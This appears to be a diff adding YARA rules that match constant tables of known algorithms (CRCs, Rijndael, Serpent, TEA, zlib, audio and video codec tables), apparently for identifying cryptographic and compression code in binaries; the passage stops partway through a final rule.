+rule CRC_5_USB_poly_0x09__8_byt_refl_True_
+{
+strings:
+	$a0 = { 00254a6f94b1defb092c43669db8d7f21237587d86a3cce91b3e51748faac5e024016e4bb095fadf2d086742b99cf3d636137c59a287e8cd3f1a7550ab8ee1c4486d0227dcf996b341640b2ed5f09fba5a7f1035ceeb84a15376193cc7e28da86c492603f8ddb29765402f0af1d4bb9e7e5b3411eacfa08577523d18e3c6a98c90b5daff04214e6b99bcd3f60d28476282a7c8ed16335c798baec1e41f3a5570b491fedb20056a4fbd98f7d2290c6346a683ecc93217785daf8ae5c03b1e7154d8fd92b74c690623d1f49bbe45600f2acaef80a55e7b1431c3e689ac57721d38fcd9b693684d2207f5d0bf9a61442b0eeecba4817a5f3015e7c2ad887356391c }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_DV_dv_weight_248__32_big_256_
+{
+strings:
+	$a0 = { 000200000003b20d0003ec5300039fe00003800000030fbc0003b20d00036a0a00036ec9000300ad000400000003b20d0003800000030fbc0003ec5300039fe000033bcc0002d414000399930003536d0003800000033bcc000326610002c1580003b20d00036a0a00036ec9000300ad00033bcc0002d414000399930003536d000310000002adc5000366d70003248d00030fbc0002d4140002f9fc00029a830003800000033bcc000326610002c158000310000002adc5000366d70003248d0002adc5000257d80002e2430002aa11000285fb0002350b00030fbc0002d4140002f9fc00029a830002adc5000257d80002e2430002aa11000285fb0002350b }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_celp_math_base_cos_G729_BITEXACT__16_lil_128_
+{
+strings:
+	$a0 = { FF7FD97F627F9D7E8A7D2A7C7D7A85784276B673E370CA6D6E6AD066F262D75E825AF6553451404C1D47CE41573CBA36FC301F2B28251A1FF918C8128C0C48060000B8F974F338ED07E7E6E0D8DAE1D404CF46C9A9C332BEE3B8C0B3CCAE0AAA7EA529A10E9D3099929536921D8F4A8CBE897B878385D683768263819E802780 }
+
+condition:
+	$a0
+}
+
+	
+rule asf_ext_stream_header__8_byt_16_
+{
+strings:
+	$a0 = { cba5e61472c632438399a96952065b5a }
+
+condition:
+	$a0
+}
+
+	
+rule asf_ext_stream_embed_stream_header__8_byt_16_
+{
+strings:
+	$a0 = { e265fb3aef47f240ac2c70a90d71d343 }
+
+condition:
+	$a0
+}
+
+	
+rule Zdaemon_huffman_HuffFreq_table__0_46947443___flt32___32_lil_1024_
+{
+strings:
+	$a0 = { f45ef03e165d193d409ba43c14f0e73be799ee3b0df9ac3cf2ff913bb781163b57644f3ce0021e3b7016443bc70e2e3b5c423a3bcc7b5e3b20a8053ba8f1fb3a372e693c4545ff3a1575243b40df123b90562d3bb4e1f23abad2d73a2df3b13a0a6e1c3b9413cc3a1728ad3a0d78b23ab424dd3a3a04af3a4d62b53aea9eaf3a06af273b5ec2db3aeb7dba3a2e92f23a26d5eb3a849bad3aeda68c3a90b5ab3b7081213bc6d07b3ae3d0f03b35e4863a1ff6df3a3ae4a83aa6e37f3ade4f953a4735f43a3e82303c1fd7863aa87a683be98da43a9589953a4f26873ab21bae3a1d54073b2f338d3a38f5813a30f5943bad1dbd3a8ab1863a86d8893afcec993aada2013b4351873af5fe543bbb02973a9e2ea43aa461843a603c833a76e2933a9049a93aed98803a8b157b3a167f803acb029a3a575d873a60a6923aa43c903a7f6b063cfb14703a0c43813a28716b3a4a3ab13af15c673af3237a3a5796683a25170c3bd451823a0a00863a0fe0803a0b2f983a5cf26c3a83fe5f3a8ae8783afc4ace3a3693903aa3ef6a3a3e8c773a2935053c0d991d3c5e219c3bb8897f3ad929b13a7bb6753a93cc623ad2bd733afc08b23bd13e983ab7a5823a9015fc3a2f75ca3af165643a06868b3a485f943af356613be6c6993b33ec663a3db9853acbc8ac3a27fc6f3a7711683ae13d6e3a7d7e943a841c673abd0b673aee91933a710f573b7cb2663a686a863a68e8613a25c88c3a283d993a5a225d3a0d72553ac5e0a33af9aa4f3a0414513a24726a3a7eca8c3a0d2d5b3ab1834e3af37c5d3aff3bc33accc45f3a66214f3a73a8573a7104883af4eb5a3a4ffe553a670c563a0a78a13a1920513a55d8523a7c7e563a19e9a03a5ba6533a271f543a67be5e3a112c1a3bb14d4f3a29334e3a3823563a5f858c3a6d5b4e3ae06c4e3a42767f3a99cfa03ab0504e3ac423503a2ee0483a17f49c3a2ee3473a0417503a5b13623a0a53ad3affba4b3a5c40643a204e543a579f823ae1ea463a37414c3aa8a4523a30b9933aa2154e3a2a694d3ab6274c3a4d09903a25d97a3a6479533af2d94f3ac551203b18ea513ace7a463ab74e503aa5d6a03a1c76463ae3fb413afb43503a3252943ae1e37a3a4cc5463ab675433abb5c8a3ad57e463afe45503a9c4d6c3b4469b13ad56f4b3a50f4483a5031563ab907b63a8b34503a404e5a3a59ca473acf379a3ae642c43b0fcf583a4bfc553a5881ad3ace7d453afff3493aebbf943aeff7d53adfda6c3a54d6633a9608713a35eda43a3e3c4f3ab57c513a4a5d573a9e96a33a1252503a0536a53acdee623a86d8aa3a1b01893abf238d3a65c09b3a6468e93a9f10ae3a6fe0c43a6429cc3abad8133b1161113b44cbd33a6262da3a6e880e3b3b16003b565f1f3b9f52293bd646693b8eb1933b3d8dc93b62aeda3c }
+
+condition:
+	$a0
+}
+
+	
+rule EPWIC_Sum_to_sqrt_2_hi_filter__flt32___32_lil_36_
+{
+strings:
+	$a0 = { 41f6e53cf89b793d954896bd7352d4beb31d4c3f7352d4be954896bdf89b793d41f6e53c }
+
+condition:
+	$a0
+}
+
+	
+rule EC_curve__EC_NIST_CHAR2_283B_SEED__8_byt_20_
+{
+strings:
+	$a0 = { 77e2b07370eb0f832a6dd5b62dfc88cd06bb84be }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_imc_weights1__flt32___32_big_124_
+{
+strings:
+	$a0 = { 3df4ee393dfc28703e044ae83dcc43473da7c73f3dc4d8193db3ca753db05e523db8802a3dcb17703de767d33e0645e53e1c8e263e358c093e631ad23e7acb863e88e6d13e9d16fd3ea566493eacb1463ebbc9ac3ec8fd3b3ecbd09e3ece7d9a3ed959603ee3b9d03ee5fbf83ee930163ef4a9263f002bd83f02a93f }
+
+condition:
+	$a0
+}
+
+	
+rule MacGuffin_sbits__32_big_192_
+{
+strings:
+	$a0 = { 000000020000000500000006000000090000000b0000000d0000000100000004000000070000000a000000080000000e0000000300000006000000080000000d000000000000000f0000000c0000000e0000000100000002000000040000000a000000000000000a000000030000000e000000060000000c00000007000000080000000c0000000f0000000100000005000000090000000f000000050000000b00000002000000070000000b0000000d00000000000000040000000300000009 }
+
+condition:
+	$a0
+}
+
+	
+rule Serpent_crypto_IPTable__32_lil_512_
+{
+strings:
+	$a0 = { 000000002000000040000000600000000100000021000000410000006100000002000000220000004200000062000000030000002300000043000000630000000400000024000000440000006400000005000000250000004500000065000000060000002600000046000000660000000700000027000000470000006700000008000000280000004800000068000000090000002900000049000000690000000a0000002a0000004a0000006a0000000b0000002b0000004b0000006b0000000c0000002c0000004c0000006c0000000d0000002d0000004d0000006d0000000e0000002e0000004e0000006e0000000f0000002f0000004f0000006f000000100000003000000050000000700000001100000031000000510000007100000012000000320000005200000072000000130000003300000053000000730000001400000034000000540000007400000015000000350000005500000075000000160000003600000056000000760000001700000037000000570000007700000018000000380000005800000078000000190000003900000059000000790000001a0000003a0000005a0000007a0000001b0000003b0000005b0000007b0000001c0000003c0000005c0000007c0000001d0000003d0000005d0000007d0000001e0000003e0000005e0000007e0000001f0000003f0000005f0000007f000000 }
+
+condition:
+	$a0
+}
+
+	
+rule EC_curve__EC_SECG_PRIME_160R1_SEED__8_byt_20_
+{
+strings:
+	$a0 = { 1053cde42c14d696e67687561517533bf3f83345 }
+
+condition:
+	$a0
+}
+
+	
+rule DMC_compression__32_big_AND_
+{
+strings:
+	$a0 = { 3e4ccccd[0-20]3e4ccccd[0-20]3e4ccccd[0-20]3e4ccccd }
+
+condition:
+	$a0
+}
+
+	
+rule zinflate_lengthStarts__32_big_116_
+{
+strings:
+	$a0 = { 000000030000000400000005000000060000000700000008000000090000000a0000000b0000000d0000000f0000001100000013000000170000001b0000001f000000230000002b000000330000003b0000004300000053000000630000007300000083000000a3000000c3000000e300000102 }
+
+condition:
+	$a0
+}
+
+	
+rule HAVAL_wi3__32_lil_128_
+{
+strings:
+	$a0 = { 130000000900000004000000140000001c0000001100000008000000160000001d0000000e000000190000000c000000180000001e000000100000001a0000001f0000000f00000007000000030000000100000000000000120000001b0000000d00000006000000150000000a000000170000000b0000000500000002000000 }
+
+condition:
+	$a0
+}
+
+	
+rule LD_CELP_G_728_hw_percw__flt32___32_lil_240_
+{
+strings:
+	$a0 = { 00c2143f005a173f00001a3f00b21c3f006e1f3f0038223f000e253f00f0273f00e02a3f00dc2d3f00e6303f00fe333f0024373f00563a3f00983d3f00ea403f0048443f00b6473f00344b3f00c24e3f005e523f000c563f00ca593f00985d3f0078613f006a653f006c693f00806d3f00a6713f00e0753f00b2793f00a07c3f00a67e3f00c47f3f00f67f3f00407f3f00a07d3f001a7b3f00ac773f005c733f002e6e3f0026683f004a613f00a0593f002e513f00fe473f00163e3f0080333f0048283f00741c3f0012103f002c033f009ceb3e0008d03e00b8b33e00c0963e0080723e00a8363e0040f43d00a0743d }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_8_Dallas_Maxim_poly_0x8c__8_byt_refl_False_
+{
+strings:
+	$a0 = { 008c9418a42830bcc44850dc60ecf4780488901ca02c34b8c04c54d864e8f07c08849c10ac2038b4cc4058d468e4fc700c809814a8243cb0c8445cd06ce0f874109c8408b43820acd45840cc70fce4681498800cb03c24a8d05c44c874f8e06c18948c00bc3028a4dc5048c478f4ec601c908804b8342ca0d8544cc07cf0e86420acb4388408109ce46870fc40ccd45824a8b03c800c1498e06c74f844c8d05c28a4bc308c001894ec6078f448c4dc502ca0b83488041c90e8647cf04cc0d85430bca4289418008cf47860ec50dcc44834b8a02c901c0488f07c64e854d8c04c38b4ac209c100884fc7068e458d4cc403cb0a82498140c80f8746ce05cd0c844 }
+
+condition:
+	$a0
+}
+
+	
+rule mp3lib_huffman_tab16__16_lil_1022_
+{
+strings:
+	$a0 = { 03FE09FE33FEBDFE99FFDBFFE5FFF1FFF9FFFDFFFFFFEF00FE00FFFFDF00FD00FDFFFFFFCF00FC00FFFFBF00FB00FBFFFFFFAF00FFFFFA009F00FDFFFFFFF900F8008F00F9FFFDFFFFFF7F00F700FFFF6F00F600FF00F7FFFBFFFDFFFFFF5F00F5004F00FFFFF400F300CBFFFFFFF000FFFF3F00E3FFEDFFF3FFF9FFFBFFFFFFCE00FFFFEC00DD00DE00FFFFE900FFFFEA00D900FFFFEE00FFFFED00EB00FDFFFFFFBE00CD00FDFFFFFFDC00DB00AE00F5FFFBFFFFFFCC00FFFFAD00DA00FDFFFFFF7E00AC00CA00FBFFFDFFFFFFC9007D005E00BD00F200A3FFFBFFFDFFFFFF2F000F001F00FFFFF100CFFFE7FFF3FFFBFFFFFF9E00FFFFBC00CB00FDFFFFFF8E00E800FFFF9D00E700F9FFFDFFFFFFBB008D00FFFFD8006E00FFFFE6009C00F3FFF9FFFDFFFFFFAB00BA00FFFFE500D700FFFF4E00FFFFE4008C00FDFFFFFFC8003E00FFFF6D00FFFFD6009B00EDFFF5FFFBFFFDFFFFFFB900AA00E100FFFFD400FFFFB800A900FBFFFFFF7B00FFFFB700D000E300F9FFFDFFFFFF0E00E000FFFF5D00D500FDFFFFFF7C00C700FFFF4D008B00B5FFD3FFE5FFF3FFF9FFFDFFFFFF9A006C00FFFFC6003D00FDFFFFFF5C00C5000D00F9FFFDFFFFFF8A00A800FFFF99004C00FDFFFFFFB6007A003C00F5FFFBFFFDFFFFFF5B0089001C00FFFFC000FFFF98007900FFFFE200FFFF2E001E00F1FFF9FFFDFFFFFFD3002D00FFFFD200D100FBFFFFFF3B00FFFF970088001D00F9FFFDFFFFFFC4006B00FFFFC300A700FFFF2C00FFFFC200B500E9FFF3FFF9FFFDFFFFFFC1000C00FFFF4B00B400FDFFFFFF6A00A600B300FBFFFDFFFFFF5A00A5002B00FFFFB2001B00F3FFFBFFFFFFB100FFFF0B00B000FDFFFFFF69009600FFFF4A00A400FBFFFDFFFFFF78008700A300FDFFFFFF3A0059002A009FFFC7FFDFFFEDFFF5FFFBFFFDFFFFFF95006800A100FDFFFFFF860077009400FBFFFDFFFFFF490057006700A200FBFFFFFF1A00FFFF0A00A000FDFFFFFF39009300FFFF58008500F7FFFDFFFFFF29009200FDFFFFFF760009001900FBFFFFFF9100FFFF90004800FDFFFFFF84007500FFFF38008300EBFFF5FFFBFFFDFFFFFF660028008200FDFFFFFF470074001800FDFFFFFF81008000FDFFFFFF080056003700F7FFFBFFFFFF7300FFFF65004600FFFF27007200FBFFFDFFFFFF6400550007001700E9FFF3FFFBFFFFFF7100FFFF70003600FDFFFFFF63004500FFFF54002600FDFFFFFF62001600FFFF6100FFFF06006000F7FFFBFFFFFF5300FFFF35004400FFFF25005200FFFF5100FFFF15000500DFFFE9FFF3FFF9FFFDFFFFFF34004300FFFF50002400FDFFFFFF420033001400FBFFFFFF4100FFFF04004000FFFF23003200FDFFFFFF13003100FDFFFFFF030030002200FDFFFFFF12002100FFFF02002000FDFFFFFF1100010010000000 }
+
+condition:
+	$a0
+}
+
+	
+rule Zlib_length_code__8_byt_256_
+{
+strings:
+	$a0 = { 0001020304050607080809090a0a0b0b0c0c0c0c0d0d0d0d0e0e0e0e0f0f0f0f101010101010101011111111111111111212121212121212131313131313131314141414141414141414141414141414151515151515151515151515151515151616161616161616161616161616161617171717171717171717171717171717181818181818181818181818181818181818181818181818181818181818181819191919191919191919191919191919191919191919191919191919191919191a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1c }
+
+condition:
+	$a0
+}
+
+	
+rule Creative_ADPCM_table__32_big_32_
+{
+strings:
+	$a0 = { 000000e6000000e6000000e6000000e600000133000001990000020000000266 }
+
+condition:
+	$a0
+}
+
+	
+rule libaf_center_front___5_degrees___flt32___32_big_512_
+{
+strings:
+	$a0 = { b8b5275a39a7aba2ba0359c73a95bf12bacfa5a13ae46bd3ba913cfc392d34f93bab8a9a3b66d7c73c24c8f9bd09173e3c5b66fd3b9f33be3da75da93e85ee98bdfe5e38be126a8d3e13ae23be278152bcb32b953e7882c23d94110c3dc112de3e98ddf23e96bd83bdf84304be491d533dee0e61bd6d52c8beafaeebbe478d5b3c25ca23bdc1becbbe2ba3523b8822263d5823eeb9db47333cb13bcd3d9ae2d23db62d8d3d2341e33d3547cf3d7c23ce3c7eb9f8bcc3db1d3c1b9da13d1c507bbc20e62abd2c0c5cbd089eb3bceffb0bbd558251bd96612fbd7aa334bd3d45e9bd2c38a1bcbf07d23b0a98b13c0baf203c0fa2aa3c0dfe7d3c95be443cef8fb43cb6a01f3c4a8a993c0c74043bd4b591bafdd8afbbcf0cd7bbd39cf9bc769564bcace7c1bc8b7de7bc874114bcba8849bca3d46fbc497018bc3c83e7bc3b9477bb9e0f0f3b1322c13b87d6c13bb873ba3c0cb4ce3c25591f3beb57183abf60c2bb7b194fbb61b316bb4138f8bbf957eabbd5980bbb935189bbe8f390bc08bea8bbb637c5bb442dcfbba7ddfbbb8fd82aba8f08b9bb012f4cbbc05a7dbbb85ba6b98ee5033ab4ce69ba1b2a4bba4e13a5ba38ccccbb566f5ebb922a9bbb51d62dbb48676fbb6b894cbb7940c0bb972f29bbc3f0fbbb89aabdbaa231aa3a60ba693b0cd7de39f7f6a8ba7d8023bab1877ebb422d42bbaef5c8bbb33700bb8ebaf8 }
+
+condition:
+	$a0
+}
+
+	
+rule Rijndael_Td2__0xa75051f4U___32_big_1024_
+{
+strings:
+	$a0 = { a75051f465537e41a4c31a175e963a276bcb3bab45f11f9d58abacfa03934be3fa5520306df6ad76769188cc4c25f502d7fc4fe5cbd7c52a44802635a38fb5625a49deb11b6725ba0e9845eac0e15dfe7502c32ff012814c97a38d46f9c66bd35fe7038f9c9515927aebbf6d59da9552832dd4be21d35874692949e0c8448ec9896a75c27978f48e3e6b995871dd27b94fb6bee1ad17f088ac66c9203ab47dce4a1863df3182e51a336097517f45625377e0b164ae84bb6ba01cfe812b94f90868587048fd198f456c8794def8b7527bd323ab7302e2724b8f57e31fab2a66552807b2ebc2032fb57b9a86c508a5d33787f23028a5b223bf6aba0203825ced161c2b8acfb492a779f2f0f307e2a14e69f4cd65dabed50605621fd134fe8ac4a6539d342e55a0a2f3e132058aeb75a4f6ec390b83efaa40609f065e711051bd6e8af93e21063d96dd05aedd3ebd464de68db591545d0571c4d46f040615ff6050fb241998e997d6bd43cc89409e7767d942bdb0e88b8807895b38e719eedb79c80a47a17c0fe97c421ec9f8840000000086830980ed48322b70ac1e11724e6c5afffbfd0e38560f85d51e3dae3927362dd9640a0fa621685c54d19b5b2e3a243667b10c0ae70f935796d2b4ee919e1b9bc54f80c020a261dc4b695a771a161c12ba0ae2932ae5c0a0e0433c22171d121b0d0b0e09c7adf28ba8b92db6a9c8141e198557f1074caf75ddbbee9960fda37f269ff701f5bc5c723bc544667e345bfb29768b43c6dccb23fc68b6edf163b8e4dccad7318510426322401397112084c6247d854a3df8d2bb3211aef9a16dc7292f4b1d9e30f3dcb252ec0d86e3d077c1166c2bb3b999a97048fa1194642247e98cc4a8fc3f1aa0f02cd8567d90ef22334ec78749d1c1d938a2fe8cca0b3698d481cfa6f5de28a57a8e26dab7bfa43fad9de42c3a920d5078cc9b6a5f4662547e13c2f68db8e890d8f75e2e39aff582c380be9f5d937c69d02da96fd512b3cf25993bc8ac7da71018636ee89cbb7bdb3b7809cd2618f46e59b701ec9a9aa8834f6e65e695e67eaaffcf0821bce8e6ef159bd9bae736ce4a6f09d4ea9f7cd629b0b2af31a423312a3f9430c6a566c035a2bc37744ecaa6fc82d0b0e090d81533a7984af104daf741ec500e7fcdf62f1791d68d764db04d43ef4d54ccaa04dfe496b5e39ed1881b4c6a1fb8c12c517f4665ea049d5e355d018c7473fa87412efb0b1d5ab367d25292db5633e91047136dd6618c9ad70c7a37a1148e59f83c89eb1327eecea9c935b761e5ede11cb13c7a47df599cd2733f55f2ce79181437bf73c7cdea53f7aa5b5ffd6f14df3ddb867844f381caafc43eb968342c3824405fc2a3c372161d250cbce2498b283c9541ff0d017139a8b3de080ce49cd8b4c190645684617bcbb670d5325c74486c5742d0b8 }
+
+condition:
+	$a0
+}
+
+	
+rule ReplayGainAnalysis_ABYule__flt32___32_lil_756_
+{
+strings:
+	$a0 = { dd011e3d732f76c02ffab0bc9e14fa4099bca1ba9e7735c151dcc2b874e15041539987bc019a44c18112b13c1dba1741e1e7a9bc2aecbbc056bdc23b544c304017d2483b15ae5ebf7530fc38a6880e3e2d0c3d3bbbf25d3d159f5ec04278eebc279fcb40740d0bbc9fc208c17a740bbc88a117410fce08bc300a0dc136efb73c1854db402ab1d4bc77a18cc0e31b853c2e8d0c40ccdc1dbb5b4440bfb30edd3b26a6063e121bf6ba62481e3e584118c09219bfbdcc503640c6e97fbd535429c0c33cb13ca02a0f408de664bd1bf3d5bf6bd9433d48c3803fddb1113b1e48ebbec602023d60b6273e8cd563bc291d4ebd2075d53bfa56c03c086710bcc31e9b3efe6dcebf379167be11368a3f4fdeafbd2c5c83be0578063d71ac26be5d0716bc80d267bea2abc1bc6a4cc83eba83bfbbceb162bed988803d6354383d0eee0ab7c351a43ce5e9063bdc34463bd1acf1bca43fac3ecad1bfbf0cee82bee09d5f3fc63ff2bd78f5f93d2725f43dabc84ebf4a73a0bd3d04f53e9b009abbfd0bffbddd2ac1bbf09a26bde2766a3de1acaa3d7452083cd08f2dbd6ff885bc90e4f33c943190bc53f7e53e1fd220bf45f612be4bde973eec4f69beacc0bebe0d8368bc4c180c3baf0b273d5331d7be15eafdbd0d53633e16d6273dc401c93b8999d63df7308a3d8fb098bc3df26c3d86cd02bd0701043d8492b13b23f2103ff92486bf633041bfc347953eca51263e293f89be08762b3e4759063c6c8d41be24aee63ee85e9e3e3b20a9be531f8dbeb3058a3d5b1cd43b8bf643bdd319b13d5c57863c62321bbd2d0f943c16bfc0bbbebc143f83a602bfb52008bf3624a3beda5312bef96c4fbe7a69333ef9d0163e20cdc23c0170c73e8a511f3e58ba6ebeecc381be7fe056bd5567853cd449cdbc2fbb8d3df213c83ced6f18bd06ff943c95a2f5bb4557093f5e4180beefdfd7be2a27ddbe55d934bb62460cbd92cf2e3dd59f3fbd4f33d1bde335873ed668153e2ac21a3e1b83c9bc4bc733be656ce5bd64bf40be8b4c26bd105e603dcc24443d50b1403d82b1b5bc }
+
+condition:
+	$a0
+}
+
+	
+rule Jpeg_dct_AA_N_scale_factor__flt64___64_lil_64_
+{
+strings:
+	$a0 = { 000000000000f03fef6148b15031f63fca6f4d91aee7f43faa116cef62d0f23f000000000000f03f3bbfa7c06924e93fbb20c77b7a51e13f5dab72de55a8d13f }
+
+condition:
+	$a0
+}
+
+	
+rule Quake_3_msg_hData__huffman___32_big_1024_
+{
+strings:
+	$a0 = { 0003d1cb0000a0e90000189400001bc200000e9200000ea6000017de00005af30000822500001b2600001e9e000025f2000024290000436b00000f6d000006f20000206000000644000006360000067f0000044c000004bd000004d60000046e000006d500000423000004de0000047d000004f90000118600000af500000d900000553b00000487000006860000042a00000413000003f40000041d0000042e000006be000003780000049c00000352000003c00000030c000006d800000ce000002986000011a2000016f900000a7d0000122a00000efd0000082d0000074b00000a180000079d000007b4000003ac0000046e000006fc00000686000004b600001657000017f000001c36000019fe00000e7e00000ed3000005d4000005f4000008a7000004740000054b000003cb00000884000004e000000530000004ab000006ea00000436000004f0000004f200000490000003c500000483000004a200000543000004cc000005f90000064000000a3900000800000009f200000ccb0000096a00000e01000009c800000af000000a730000180200000e4f00000b18000037ad00000c5c000008ad0000069700000c8800000ab300000db8000012bc00000ffb00000dbb000014a800000fb000001f010000178f000014f000000f540000131c00000e9f000011d6000012c7000016dc00001900000018510000206300005acb00001e9e00001ba1000022e70000153d0000118300000e3900001488000014c0000014d0000014fa00000da40000099a0000069e0000071d000008490000077c0000047d000005ec00000557000004d400000405000004ea00000450000004dd000003ee0000047d00000401000004d9000003b800000507000003e5000006b1000003f1000004a30000036f0000044b000003a100000436000003b700000678000003a20000048100000406000004ee00000426000004be0000042400000655000003a200000452000003900000040a0000037c00000486000003de000004970000035200000461000003870000043f00000398000004780000042000000d86000008c00000112d00002f6800001e4e000005410000051b00000cce0000079e00000376000003ff000004580000043500000412000004250000042f000005cc000003e900000448000003930000041c000003e30000042e0000036c00000457000003530000042300000325000004580000039b0000044f000003310000076b00000750000003d00000034900000467000003bc00000487000003b600001e6f000003ba00000509000003a50000046700000c87000003fc0000039f0000054b0000030000000410000002e9000003b80000032500000431000002e4000003f500000325000003f00000031c000003e40000042100002cc1000034c0 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_pan_pow_2_30_pos__flt64___64_big_320_
+{
+strings:
+	$a0 = { 3ff00000000000003ff00000000000003ff00000000000003ff00000000000003ff00000000000003ff00fbfe0a28f033ff00fbfe0a28f033ff01f8f425b4ce03ff01f8f425b4ce03ff01f8f425b4ce03ff01f8f425b4ce03ff01f8f425b4ce03ff03f5cc4a70e773ff04f5b0418cf963ff04f5b0418cf963ff02f6e33a913a43ff03f5cc4a70e773ff05f6901d4c9fa3ff08ff20b647bef3ff0a03f9d2c7ec23ff03f5cc4a70e773ff05f6901d4c9fa3ff08ff20b647bef3ff0d188db7db7073ff0f2b2da29cefe3ff04f5b0418cf963ff07fb475e8e55c3ff0d188db7db7073ff124f082e804ea3ff157c31a9c63783ff05f6901d4c9fa3ff0b09d3b5c18fd3ff11420d3c64c663ff179f86d060a283ff1d0a611bbd8f83ff07fb475e8e55c3ff0e2146eef43673ff157c31a9c63783ff1d0a611bbd8f83ff24cd3a9fa7ea6 }
+
+condition:
+	$a0
+}
+
+	
+rule Rijndael_rcon__32_lil_40_
+{
+strings:
+	$a0 = { 00000001000000020000000400000008000000100000002000000040000000800000001b00000036 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC32_poly_0x9b64c2b0__32_lil_refl_False_
+{
+strings:
+	$a0 = { 00000000b0c2649bd047adad6085c936104d3ec0a08f5a5bc00a936d70c8f7f69058181b209a7c80401fb5b6f0ddd12d801526db30d7424050528b76e090efed20b13036907354adf0f69d9b4034f90030fc0ef6803e6a6de0bba35b5079c7c0b0e9282d002b4cb660ae8580d06ce11ba0a416ed1066727670e3bb40c021dfdb4062616cf0a005f79025ccc120e7a85a502f5face0ed3b378068f20130aa969ad03a797760f81dec007dd4dab0bfb041c07747b770b5232c1030ea1aa0f28e8160d3515ad01135c1b094fcf70056986c709e6f9ac05c0b01a0d9c237101ba6acf08b494140492dda20cce4ec900e8077e0c677815004131a3081da2c8043beb780c4c2d83006a64350836f75e0410bee9089fc18204b988340ce51b5f00c352e109cdac3a05ebe58c0db776e701913f500d1e403b0138098d09649ae60542d35a075f2ee10b7967570325f43c0f03bd8b038cc2e00faa8b5607f6183d0bd0518302deaf580ef8e6ee06a475850a823c32060d43590a2b0aef027799840e51d03c0a6a3b47064c72f10e10e19a0236a82d0eb9d746029f9ef00ac30d9b06e544250febbafe03cdf3480b91602307b729940b3856ff071e1f490f428c220364c59e017938250d5f71930503e2f80925ab4f05aad424098c9d9201d00ef90df6474704f8b99c08def02a008263410ca42af6002b559d0c0d1c2b04518f400877c6fb04be12a008985b1600c4c87d0ce281ca006dfea10c4bb7170417247c08316dc2013f93190d19daaf054549c40963007305ec7f1809ca36ae0196a5c50db0ec790fad11c2038b58740bd7cb1f07f182a80b7efdc30758b4750f04271e03226ea00a2c907b060ad9cd0e564aa6027003110eff7c7a02d935cc0a85a6a706a3ef1f029804640ebe4dd206e2deb90ac4970e064be8650a6da1d3023132b80e177b06071985dd0b3fcc6b03635f000f4516b703ca69dc0fec206a07b0b3010b96fabd098b070605ad4eb00df1dddb01d7946c0d58eb07017ea2b1092231da050478640c0a86bf002ccf0908705c62045615d508d96abe04ff23080ca3b0630085f9d308f23f2804d4769e0c88e5f500aeac420c21d32900079a9f085b09f4047d404a0d73be910155f7270909644c052f2dfb09a0529005861b260dda884d01fcc1f103e13c4a0fc775fc079be6970bbdaf200732d04b0b1499fd03480a960f6e43280660bdf30a46f445021a672e0e3c2e9902b351f20e95184406c98b2f0aefc2970ed429ec02f2605a0aaef3310688ba860a07c5ed06218c5b0e7d1f30025b568e0b55a8550773e1e30f2f728803093b3f0f86445403a00de20bfc9e8907dad73505c72a8e09e1633801bdf0530d9bb9e40114c68f0d328f39056e1c52094855ec0046ab370c60e281043c71ea081a385d0495473608b30e8000ef9deb0cc9d45 }
+
+condition:
+	$a0
+}
+
+	
+rule zinflate_lengthStarts__32_lil_116_
+{
+strings:
+	$a0 = { 030000000400000005000000060000000700000008000000090000000a0000000b0000000d0000000f0000001100000013000000170000001b0000001f000000230000002b000000330000003b0000004300000053000000630000007300000083000000a3000000c3000000e300000002010000 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_sa_inv_freq__8_byt_46_
+{
+strings:
+	$a0 = { 00010203030404050505060606070707070707070707070707070707070707070707070707070707070707070707 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_cfft_tab_60__flt32___32_big_480_
+{
+strings:
+	$a0 = { 3f800000000000003f7e98fd3dd613053f7a67e23e54e6ce3f7378713e9e377a3f69de1d3ed03fc93f5db3d73f0000003f4f1bbd3f1679183f3e3ebd3f2b4c253f2b4c243f3e3ebe3f1679183f4f1bbd3effffff3f5db3d83ed03fc83f69de1e3e9e37793f7378713e54e6cb3f7a67e23dd612ff3f7e98fdb33bbd2e3f800000bdd6130b3f7e98fdbe54e6d13f7a67e1be9e377b3f737870bed03fcb3f69de1d3f800000000000003f7a67e23e54e6ce3f69de1d3ed03fc93f4f1bbd3f1679183f2b4c243f3e3ebe3effffff3f5db3d83e9e37793f7378713dd612ff3f7e98fdbdd6130b3f7e98fdbe9e377b3f737870bf0000013f5db3d7bf2b4c263f3e3ebdbf4f1bbe3f167917bf69de1e3ed03fc7bf7a67e23e54e6c8bf800000b3bbbd2ebf7a67e1be54e6d4bf69de1dbed03fccbf4f1bbcbf16791abf2b4c23bf3e3ebe3f800000000000003f7378713e9e377a3f4f1bbd3f1679183f1679183f4f1bbd3e9e37793f7378713f800000000000003f4f1bbd3f1679183e9e37793f737871be9e377b3f737870bf4f1bbe3f1679173f800000000000003f1679183f4f1bbdbe9e377b3f737870bf7378723e9e3773bf4f1bbcbf16791a3f800000000000003f800000000000003f800000000000003f800000000000003e9e377ebf737870 }
+
+condition:
+	$a0
+}
+
+	
+rule TEA_encryption_decryption__0xc6ef3720__0x61c88647___32_lil_AND_
+{
+strings:
+	$a0 = { 2037efc6[0-20]4786c861 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC32_poly_0x6b6b51f4__32_lil_refl_True_
+{
+strings:
